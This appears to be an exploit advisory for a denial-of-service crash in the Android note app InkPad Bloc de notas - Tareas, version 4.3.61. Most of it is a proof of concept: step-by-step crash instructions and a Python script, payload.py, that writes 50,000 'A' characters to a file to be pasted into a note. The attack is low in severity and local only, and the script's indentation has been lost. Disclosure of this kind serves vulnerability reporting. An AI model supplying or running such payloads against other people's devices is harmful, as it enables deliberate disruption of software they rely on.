# Version: 4.3.61  
# Category: DoS (Android)  
  
##### Vulnerability #####  
  
InkPad Bloc de notas - Tareas is vulnerable to a DoS condition when a long list of characters is being used when creating a note:  
  
# STEPS #  
# Open the program.  
# Create a new Note.  
# Run the python exploit script payload.py, it will create a new payload.txt file  
# Copy the content of the file "payload.txt"  
# Paste the content from payload.txt twice in the new Note.  
# Crashed  
  
Successful exploitation will cause the application to stop working.  
  
I have been able to test this exploit against Android 8.0.  
  
##### PoC #####  
--> payload.py <--  
#!/usr/bin/env python  
buffer = "\x41" * 50000  
  
try:  
f = open("payload.txt","w")  
f.write(buffer)  
f.close()  
print ("File created")  
except:  
print ("File cannot be created")
